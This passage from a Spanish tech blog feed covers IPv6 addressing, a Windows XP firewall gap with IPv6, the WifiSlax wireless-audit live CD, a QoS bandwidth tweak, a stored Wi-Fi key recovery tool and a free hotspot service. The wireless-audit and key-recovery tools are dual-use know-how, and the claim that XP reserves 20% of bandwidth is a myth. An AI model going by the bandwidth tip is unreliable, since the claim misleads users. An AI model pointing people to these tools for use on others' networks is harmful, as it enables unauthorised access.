Como última aclaración sobre simplificación de ceros, les digo que cuando vean :: en una dirección, para conocer la dirección COMPLETA simplemente se llenan los campos faltantes con 0′s hasta completar la dirección de 8 campos.
Ejemplos:

FFFF::12 —> FFFF:0000:0000:0000:0000:0000:0000:0012
::5 —> 0000:0000:0000:0000:0000:0000:0000:0005
1080::8:800:200C:417A —> 1080:0000:0000:0000:0008:0800:200C:417A
1::1 —> 0001:0000:0000:0000:0000:0000:0000:0001

5.-Otros Aspectos

Bueno, ya hablé sobre algo fundamental de la versión que nos espera en el futuro (muy cercano hee ) y pues cabe aclarar, que esta nueva implantación de ips nos brindará muchas ventajas.. prestaciones y un sin fin de cosas buenas más , pero no significa que sea 100 % excelente. También, los desarrolladores de Internet Protocol han hecho algo para mejorar el trabajo de los administradores de redes, ya que el ruteo de paquetes es mucho mejor, los routers tendrán menos sobrecarga, en fin, una red corriendo
bajo IPv6 será más fácil de administrar pero no significa que el administrador estará en el PARAISO , ya que el trabajo del administrador es administrar y por ahi leí que todo lo que se debe administrar, a veces tiende a ser DESADMINISTRADO, entonces, no por implantar IPv6 en una red signifique que estamos 100% estables y seguros hee.

Un ejemplo en la actualidad de una falla de seguridad (no un bug) con IPv6 es en un firewall de WinXP (era de suponerse XD ), ya que los chicos Microsoft(R) (el tio Billy y sus discipulos) admiten que “…las funciones Internet Connection Firewall y Basic Firewall de Windows XP y Windows Server 2003 sólo están en condiciones de bloquear paquetes de datos IPv4, por lo que el tráfico IPv6 pueden entrar SIN RESTRICCIONES AL SISTEMA.
El software cortafuegos de Microsoft contiene, en principio, una cantidad relativamente limitada de funciones de bloqueo. Por ello, no sustituye cabalmente una solución completa de cortafuegos y está dirigida básicamente a los usuarios de Windows, que de otra forma no instalarían una aplicación
de ese tipo.
Considerando que Internet Connection Firewall y Basic Firewall no protegen contra el nuevo protocolo de Internet, IPv6, recomendamos a los usuarios de Windows XP y Windows Server 2003 instalar una aplicación cortafuegos específica, en caso de necesitarla…”, asi que OJO hee .

Finalmente aclaro que técnicamente ya se puede hacer uso de esta nueva versión, pero lo que hace falta es $$$, y pues las principales organizaciones o empresas que pueden hacer este cambio de versiones son por ejemplo las Universidades con $$$ o las que en verdad estén interesadas en implantar esta nueva tecnología, otras, principalmente las ISP’s (T3LM3X aqui en México), grandes empresas ($$$), y bla bla bla.

En la actualidad mucho países han anunciado su cambio de IP, están listos para migrar a IPv6, aunque como se dijo desde un princio el cambio de versiones es de forma GRADUAL (asi lentamente, no de un día para otro )
y hoy en día, el primer país del mundo en cambiarse de IPv4 a IPv6 fue Taiwán, Uorale !.

6.-Despedida

Bien, espero que este pequeño texto haya sido de utilidad para cualquier tipo de lector de esta e-zine y si no pues, que sirva de relleno para la misma XD. Les agradezco su comprensión y su tiempo, el cual no les robé mucho heee.

Y ya saben lo que nos espera, aunque la verdad, bueno en mi caso, digo que estas nuevas IP’s son muy largas, en un par de años diremos: “Ohh Demonios!, recuerdan la IPv4, aunque con muchas deficiencias pero FÁCILES DE RECORDAR , recuerdan cuando con solo ver 3 segundos la ip nos la grababamos y ahora, TODO EN HEXADECIMAL y mucho más largas, ahora recordar una IP de estas cuesta un #%@&! y la mitad del otro XD, QUE WEBA, QUEEEE WEBA !!”.
Así que prepáranse para el futuro y preparen ese cerebro para recordar las nuevas y largas IP’s .

Ahora si, me despido y para quienes quieran profundizar más sobre este téma, el cual es MUY MUY EXTENSO pueden seguir los siguientes links de algunas webs y también unos RFC’s sobre IPv6.

7.-Links

» Fuente de referencia | NitrouS de MéxicO

Compartelo:

[?]

Introducción al Internet Protocol Versión 6 (IPv6) es un post de: ¡De todo un poco!

WifiSlax (LiveCD/USB Linux): Para comprobar la seguridad, de tu red WiFi

TBG0Cool — Tue, 14 Apr 2009 23:00:31 +0000

WifiSlax es un CD de arranque que contiene al sistema operativo Linux. Puede hacer correr Linux directamente desde el CDROM sin instalación. Aunque lleva incorporado herramientas de instalación en el disco duro o en llaveros USB, o una emulación en Windows.

Wifislax esta basado básicamente y principalmente en SLAX(basado en la distribución Slackware Linux, pero debido al gran trabajo realizado por los autores del BackTrack hemos trabajado directamente sobre este ultimo live CD, así pues catalogar al Wifislax como una live CD podría incluso considerarse como erróneo. También están disponibles todos los scripts y códigos fuente, los cuales pueden ser utilizados para construir tu propio live CD.
Pero han realizado una serie de modificaciones que pueda cambiar el concepto de remasterización, y por lo tanto definirlo como una propia live CD.

Tampoco la definición de traducción de la fuente original podría ser correcta, ya que no solo hemos traducido algunos aspectos importantes de trabajos anteriores, sino que hemos dotado a esta live CD de ciertas características que la hacen únicas.
Hemos aumentado el reconocimiento de las tarjetas inalámbricas (wireless) porque ese es el objetivo final de esta live CD, tener una herramienta de seguridad orientada al trabajo que tanto nos gusta, que es la auditoria inalámbrica, así pues a día de hoy, ya no dependemos de las aplicaciones y drivers que otros grandes grupos ensamblen en sus live CD, sino que dotaremos a nuestro sistema de las aplicaciones que nosotros mismo hemos diseñado y traducido al español, u otras alternativas que las consideremos aptas para ello, solo tenéis que comunicarlo y al menos podemos prometer que intentaremos realizarlo.

Pinche aquí para ver el vídeo

En estos momentos no hay en Internet ninguna live CD que este integrada con los drivers de las famosa ipw2200, los rt73 de las nuevas tarjeta USB con chipset ralink, las nuevas PCI con el chipset rt61, así como los acx y los ipw3945 de conexión y de auditoria, sin olvidar los novedosos zydas zd1211rw y como no los rtl8187 de ultima generación, además de los drivers de toda la vida para el entorno de seguridad wireless, madwifi-ng, realtek, etc. Y no solo nos ocupamos del simple análisis pasivo a través del modo monitor con cualquier sniffer sino que además la hemos dotado de los parches necesarios para la aceleración de tráfico.

» Sitio Oficial | WifiSlax
» Enlace de descarga | WifiSlax (LiveCD/USB Linux):
» Enlace de descarga x64 | Manuales

Compartelo:

[?]

WifiSlax (LiveCD/USB Linux): Para comprobar la seguridad, de tu red WiFi es un post de: ¡De todo un poco!

Aumentar el Ancho De Banda de tu línea DSL un 20%. Funciona 100%

TBG0Cool — Wed, 05 Nov 2008 03:38:39 +0000

Windows XP reserva un 20% del ancho de banda con el fin de ejecutar aplicaciones especiales (msn, yahoo, emule…). Si queremos desactivar eso para poder navegar mas rápido y las descargas directas mas rápidas haremos lo siguiente:

1º: Iremos a “inicio”, “ejecutar” y pondremos “gpedit.msc”
2º: Iremos a “configuración de equipo/plantillas administrativas/Red/Programador de paquetes QoS”
3º: Haremos doble clic en “limitar el ancho de banda reservado”, habilitándolo y poniendo 0% en “limite de ancho de banda”

Ejemplo:

Que lo disfruten.

Compartelo:

[?]

Aumentar el Ancho De Banda de tu línea DSL un 20%. Funciona 100% es un post de: ¡De todo un poco!

WirelessKeyView: Recupera las claves de red inalámbrica almacenadas en tu PC

TBG0Cool — Mon, 22 Sep 2008 04:35:00 +0000

Cada vez que introduces una clave de red para poder conectarte a una red inalámbrica Windows la almacena en el ordenador.

Si por cualquier motivo necesitas averiguar una de estas claves, WirelessKeyView es la aplicación perfecta para conocerlas.

Por cada clave de red WirelessKeyView muestra la siguiente información:
- Identificador de red (SSID).
- Tipo de clave de red (WEP/WPA).
- Valor de la clave de red en hexadecimal y Ascii.
- Nombre del adaptador de red y su GUID.

La aplicación no requiere instalación, así que puede ejecutarse perfectamente desde una llave USB.

» Licencia | Gratis
» Fecha | 17/09/2008
» Tamaño | 41KB
» Idiomas | Arabic, Brazilian Portuguese, Bulgarian, Dutch, Finnish, French, Galician, German, Greek, Hungarian, Italian, Japanese, Macedonian, Norwegian, Portuguese, Romanian, Russian, Simplified Chinese, Spanish, Swedish, Taiwanese, Traditional Chinese, Thai, Turkish, Valencian
» Pagina Oficial | Nir Sofer
» Enlace de descarga x32 | WirelessKeyView
» Enlace de descarga x64 | WirelessKeyView x64

Compartelo:

[?]

WirelessKeyView: Recupera las claves de red inalámbrica almacenadas en tu PC es un post de: ¡De todo un poco!

Free-Hotspot.com: Una opción mas, a tener en cuenta, en tu búsqueda de enlaces Wi-Fi gratuitos

TBG0Cool — Fri, 22 Aug 2008 03:52:12 +0000

Para los que aun no han salido de vacaciones y para los que viajan mucho y necesitan estar siempre conectados a la red, les presento Free-Hotspot.com. Con más de 3000 puntos de enlaces Wi-Fi gratuitos, repartidos por 18 países de Europa, Free-Hotspot.com esta administrando la red wireless gratuita mas grande de Europa.

HotSpot GRATUITO es una forma sencilla y cómoda de usar un servicio de acceso a Internet de banda ancha. Mediante la tecnología inalámbrica (Wi-Fi) podrá acceder a Internet desde innumerables lugares de acceso GRATUITOS (HotSpots) en constante crecimiento como bares, hoteles, restaurantes y centros comerciales de todo el mundo.

En 2006 Free-Hotspot.com, fue galardonado con “Wireless Broadband Inovation” para el mejor producto Wi-Fi público.

Free-Hotspot.com no es el mejor servicio de este tipo del mercado, pero aun así, es una opción a tener en cuenta.

Enlace

Compartelo:

[?]

Free-Hotspot.com: Una opción mas, a tener en cuenta, en tu búsqueda de enlaces Wi-Fi gratuitos es un post de: ¡De todo un poco!